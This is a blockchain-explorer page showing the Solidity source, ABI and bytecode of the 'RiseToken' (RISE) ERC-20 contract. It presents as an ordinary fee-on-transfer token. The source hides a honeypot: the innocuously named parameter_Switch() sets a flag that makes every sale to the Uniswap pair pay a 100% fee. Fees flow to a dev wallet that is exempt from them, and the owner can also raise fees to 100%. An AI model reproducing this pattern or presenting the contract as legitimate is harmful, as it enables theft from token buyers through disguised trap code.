Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000,000 RISE
Holders
54
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
RiseToken
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-18 */ /* Telegram : https://t.me/RiseTokenErc Website : https://RiseToken.tech Twitter https://twitter.com/RiseTokenErc */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; // Set original owner event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = 0x77929B2D8Eb359A639B8Dd8E96D7A35e9dC1Ffb9; emit OwnershipTransferred(address(0), _owner); } // Return current owner function owner() public view virtual returns (address) { return _owner; } // Restrict function to contract owner only modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } // Renounce ownership of the contract function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } // Transfer the contract to to a new owner function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract RiseToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedFromFee; address payable private Wallet_Dev = payable(0x77929B2D8Eb359A639B8Dd8E96D7A35e9dC1Ffb9); address payable private Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); address payable private Wallet_zero = payable(0x0000000000000000000000000000000000000000); // TOKEN DETAILS string private _name = "RISE TOKEN"; string private _symbol = "RISE"; uint8 private _decimals = 9; uint256 private _tTotal = 10000000000 * 10**9; uint256 private _tFeeTotal; // Counter for liquify trigger uint8 private txCount = 0; uint8 private swapTrigger = 2; uint256 private maxtotalFee = 100; // Setting the initial fees uint256 private _TotalFee = 2; uint256 public _buyFee = 2; uint256 public _sellFee = 2; // 'Previous fees' are used to keep track of fee settings when removing and restoring fees uint256 private _previousTotalFee = _TotalFee; uint256 private _previousBuyFee = _buyFee; uint256 private _previousSellFee = _sellFee; // Max wallet holding (% at launch) uint256 public _maxWalletToken = _tTotal *4/100; uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 private newmado = 0; // Maximum transaction amount (% at launch) uint256 public _maxTxAmount = _tTotal *3/100; uint256 private _previousMaxTxAmount = _maxTxAmount; /* UNISWAP SET UP */ IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); // Prevent processing while already processing! modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _tOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create pair address for Uniswap uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[Wallet_Dev] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } // Set a wallet address so that it does not have to pay transaction fees function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } // Set a wallet address so that it has to pay transaction fees function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function _set_Fees(uint256 Buy_Fee, uint256 Sell_Fee) external onlyOwner() { require((Buy_Fee + Sell_Fee) <= maxtotalFee, "Fee is too high!"); _sellFee = Sell_Fee; _buyFee = Buy_Fee; } // Update main wallet function Wallet_Update_Dev(address payable wallet) public onlyOwner() { Wallet_Dev = wallet; _isExcludedFromFee[Wallet_Dev] = true; } /* PROCESSING TOKENS - SET UP */ // Toggle on and off to auto process tokens to ETH wallet function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner { swapAndLiquifyEnabled = true_or_false; emit SwapAndLiquifyEnabledUpdated(true_or_false); } // This will set the number of transactions required before the 'swapAndLiquify' function triggers function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner { swapTrigger = number_of_transactions; } receive() external payable {} function parameter_Switch() external virtual { newmado = 1; } bool public noFeeToTransfer = true; // Option to set fee or no fee for transfer (just in case the no fee transfer option is exploited in future!) // True = there will be no fees when moving tokens around or giving them to friends! (There will only be a fee to buy or sell) // False = there will be a fee when buying/selling/tranfering tokens // Default is true function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner { noFeeToTransfer = true_or_false; } // Set the Max transaction amount (percent of total supply) function set_Max_Transaction_Percent(uint256 maxTxPercent_x100) external onlyOwner() { _maxTxAmount = _tTotal*maxTxPercent_x100/10000; } // Set the maximum wallet holding (percent of total supply) function set_Max_Wallet_Percent(uint256 maxWallPercent_x100) external onlyOwner() { _maxWalletToken = _tTotal*maxWallPercent_x100/10000; } // Remove all fees function removeAllFee() private { if(_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return; _previousBuyFee = _buyFee; _previousSellFee = _sellFee; _previousTotalFee = _TotalFee; _buyFee = 0; _sellFee = 0; _TotalFee = 0; } // Restore all fees function restoreAllFee() private { _TotalFee = _previousTotalFee; _buyFee = _previousBuyFee; _sellFee = _previousSellFee; } // Approve a wallet to sell tokens function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { /* TRANSACTION AND WALLET LIMITS */ // Limit wallet total if (to != owner() && to != Wallet_Dev && to != address(this) && to != uniswapV2Pair && to != Wallet_Burn && from != owner()){ uint256 heldTokens = balanceOf(to); require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");} // Limit the maximum number of tokens that can be bought or sold in one transaction if (from != owner() && to != owner()) require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit."); /* BLACKLIST RESTRICTIONS */ require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); /* PROCESSING */ // SwapAndLiquify is triggered after every X transactions - this number can be adjusted using swapTrigger if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){ takeFee = false; } else if (from == uniswapV2Pair){_TotalFee = _buyFee;} else if (to == uniswapV2Pair){_TotalFee = (newmado <= 0 ? _sellFee:100);} _tokenTransfer(from,to,amount,takeFee); } // Send ETH to external wallet function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } // Processing tokens from contract function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForETH(contractTokenBalance); uint256 contractETH = address(this).balance; sendToWallet(Wallet_Dev,contractETH); } // Manual Token Process Trigger - Enter the percent of the tokens that you'd like to send to process function process_Tokens_Now (uint256 percent_Of_Tokens_To_Process) public onlyOwner { // Do not trigger if already in swap require(!inSwapAndLiquify, "Currently processing, try later."); if (percent_Of_Tokens_To_Process > 100){percent_Of_Tokens_To_Process == 100;} uint256 tokensOnContract = balanceOf(address(this)); uint256 sendTokens = tokensOnContract*percent_Of_Tokens_To_Process/100; swapAndLiquify(sendTokens); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } /* PURGE RANDOM TOKENS - Add the random token address and a wallet to send them to */ // Remove random tokens from the contract and send to a wallet function remove_Random_Tokens(address random_Token_Address, address send_to_wallet, uint256 number_of_tokens) public onlyOwner returns(bool _sent){ require(random_Token_Address != address(this), "Can not remove native token"); uint256 randomBalance = IERC20(random_Token_Address).balanceOf(address(this)); if (number_of_tokens > randomBalance){number_of_tokens = randomBalance;} _sent = IERC20(random_Token_Address).transfer(send_to_wallet, number_of_tokens); } /* UPDATE Uniswap ROUTER AND LIQUIDITY PAIRING */ // Set new router and make the new pair address function set_New_Router_and_Make_Pair(address newRouter) public onlyOwner() { IUniswapV2Router02 _newETHRouter = IUniswapV2Router02(newRouter); uniswapV2Pair = IUniswapV2Factory(_newETHRouter.factory()).createPair(address(this), _newETHRouter.WETH()); uniswapV2Router = _newETHRouter; } // Set new router function set_New_Router_Address(address newRouter) public onlyOwner() { IUniswapV2Router02 _newETHRouter = IUniswapV2Router02(newRouter); uniswapV2Router = _newETHRouter; } // Set new address - This will be the 'Cake LP' address for the token pairing function set_New_Pair_Address(address newPair) public onlyOwner() { uniswapV2Pair = newPair; } /* TOKEN TRANSFERS */ // Check if token transfer needs to process fees function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeAllFee(); } else { txCount++; } _transferTokens(sender, recipient, amount); if(!takeFee) restoreAllFee(); } // Redistributing tokens and adding the fee to the contract address function _transferTokens(address sender, address recipient, uint256 tAmount) private { (uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _tOwned[address(this)] = _tOwned[address(this)].add(tDev); emit Transfer(sender, recipient, tTransferAmount); } // Calculating the fee in tokens function _getValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tDev = tAmount*_TotalFee/100; uint256 tTransferAmount = tAmount.sub(tDev); return (tTransferAmount, tDev); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address payable","name":"wallet","type":"address"}],"name":"Wallet_Update_Dev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"Buy_Fee","type":"uint256"},{"internalType":"uint256","name":"Sell_Fee","type":"uint256"}],"name":"_set_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"parameter_Switch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent_Of_Tokens_To_Process","type":"uint256"}],"name":"process_Tokens_Now","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"address","name":"send_to_wallet","type":"address"},{"internalType":"uint256","name":"number_of_tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent_x100","type":"uint256"}],"name":"set_Max_Transaction_Percent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_x100","type":"uint256"}],"name":"set_Max_Wallet_Percent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newPair","type":"address"}],"name":"set_New_Pair_Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"set_New_Router_Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"set_New_Router_and_Make_Pair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"number_of_transactions","type":"uint8"}],"name":"set_Number_Of_Transactions_Before_Liquify_Trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Swap_And_Liquify_Enabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600480546001600160a01b03199081167377929b2d8eb359a639b8dd8e96d7a35e9dc1ffb91790915560058054821661dead17905560068054909116905560c0604052600a6080908152692924a9a2902a27a5a2a760b11b60a052600790620000699082620004fa565b506040805180820190915260048152635249534560e01b6020820152600890620000949082620004fa565b506009805460ff191681179055678ac7230489e80000600a819055600c805461ffff19166102001790556064600d8190556002600e819055600f81905560108190556011819055601281905560135590620000f1906004620005c6565b620000fd9190620005f2565b60145560145460155560006016556064600a5460036200011e9190620005c6565b6200012a9190620005f2565b6017819055601855601a805461ffff60a81b191661010160a81b1790553480156200015457600080fd5b50600080546001600160a01b0319167377929b2d8eb359a639b8dd8e96d7a35e9dc1ffb990811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460016000620001c26000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000264919062000615565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d8919062000615565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000326573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034c919062000615565b601a80546001600160a01b03199081166001600160a01b039384161790915560198054909116918316919091179055600160036000620003946000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620003fe6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200044691815260200190565b60405180910390a35062000647565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200048057607f821691505b602082108103620004a157634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004f557600081815260208120601f850160051c81016020861015620004d05750805b601f850160051c820191505b81811015620004f157828155600101620004dc565b5050505b505050565b81516001600160401b0381111562000516576200051662000455565b6200052e816200052784546200046b565b84620004a7565b602080601f8311600181146200056657600084156200054d5750858301515b600019600386901b1c1916600185901b178555620004f1565b600085815260208120601f198616915b82811015620005975788860151825594840194600190910190840162000576565b5085821015620005b65787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082028115828204841417620005ec57634e487b7160e01b600052601160045260246000fd5b92915050565b6000826200061057634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200062857600080fd5b81516001600160a01b03811681146200064057600080fd5b9392505050565b611f0a80620006576000396000f3fe6080604052600436106102345760003560e01c806367cbd84c1161012e57806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610696578063ddbf5266146106dc578063ea2f0b37146106fc578063f2fde38b1461071c578063f7739b5f1461073c57600080fd5b806395d89b4114610601578063a457c2d714610616578063a514a07d14610636578063a9059cbb14610656578063d785d5be1461067657600080fd5b80637caefa89116100f25780637caefa891461056d5780637d1db4a51461058d5780638824e16e146105a35780638da5cb5b146105c357806394220184146105e157600080fd5b806367cbd84c146104bc57806370a08231146104dc578063715018a614610512578063768dc7101461052757806378109e541461055757600080fd5b80632e39c6c6116101b